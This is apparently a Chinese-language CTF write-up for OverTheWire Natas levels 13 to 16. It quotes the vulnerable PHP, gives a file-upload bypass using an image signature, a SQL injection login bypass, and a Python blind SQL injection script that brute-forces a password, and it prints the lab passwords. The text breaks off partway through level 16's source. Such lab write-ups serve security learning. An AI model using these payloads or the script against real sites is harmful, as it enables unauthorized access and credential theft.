natas solution(13-20)
Natas Level 12 → Level 13
Username: natas13
URL: http://natas13.natas.labs.overthewire.org
这一关和上一关非常相似,不同的在于
<?php
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
多了一个检查函数exif_imagetype
读取一个图像的第一个字节并检查其签名。
所以在上一关payload的基础上,在开头添加jpg
的签名即可,然后上传获得密码
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Natas Level 13 → Level 14
Username: natas14
URL: http://natas14.natas.labs.overthewire.org
这一关是一个简单的sql注入
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
根据源码的sql我们构造如下payload
Username | Password |
---|---|
1" or 1=1# | 1 |
这里需要注意的是--+
不起效果,所以注释用的#
密码到手
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Natas Level 14 → Level 15
Username: natas15
URL: http://natas15.natas.labs.overthewire.org
这一关非常的耗时间,尽管是看wp不过得到了一些启发就是好的
进入界面后发现只是要你输入用户名,输入natas16告诉我们该用户存在,通过源码可以发现好像是没有手段能得出密码,像上一关那样
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
}
?>
没有能得到密码的回显,所以我的思路转移到了密码枚举因为输入000" or 1=1#
得到的回显是This user exists.
这里参考了别人的wp但是根据自身的情况修改了,但是怎么说呢,总是有点奇奇怪怪的问题,不太敢保证在真实情况下能保持自信“我是对的”
在脚本之前,我们需要学习一个mysql的LIKE关键字(没有什么是比官方文档更好的了😀)
import requests
import time
url='http://natas15.natas.labs.overthewire.org/'
passchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890'
bstr='This user exist'.encode('utf-8')
password=''
headers = {
'Authorization': 'xxxxx',
'Cookie': 'xxxxxxx',
}
print('go')
for i in range(32):
print(i)
for j in passchar:
time.sleep(1)
try:
poc = url+'?username=natas16%22+AND+password+LIKE+BINARY+%27' + password + j + "%25%27%23"
print(poc)
req = requests.get(poc,headers=headers)
req.encoding = req.apparent_encoding
except:
print("获取失败")
req.close()
if req.content.find(bstr) != -1:
password += j
print('Password: ' + password)
break
req.close()
之所以设置了time.sleep(1)
是因为一开始经常跑着跑着就停下来了,猜测是因为请求速度过快?但是后来即使不间隔1s也能跑,我反正是不懂为啥了。
跑完后的密码是
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Natas Level 15 → Level 16
Username: natas16
URL: http://natas16.natas.labs.overthewire.org
这一关和上一关做法非常的相似,但是题目却和之前的第10关很像,来看看源码吧。
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {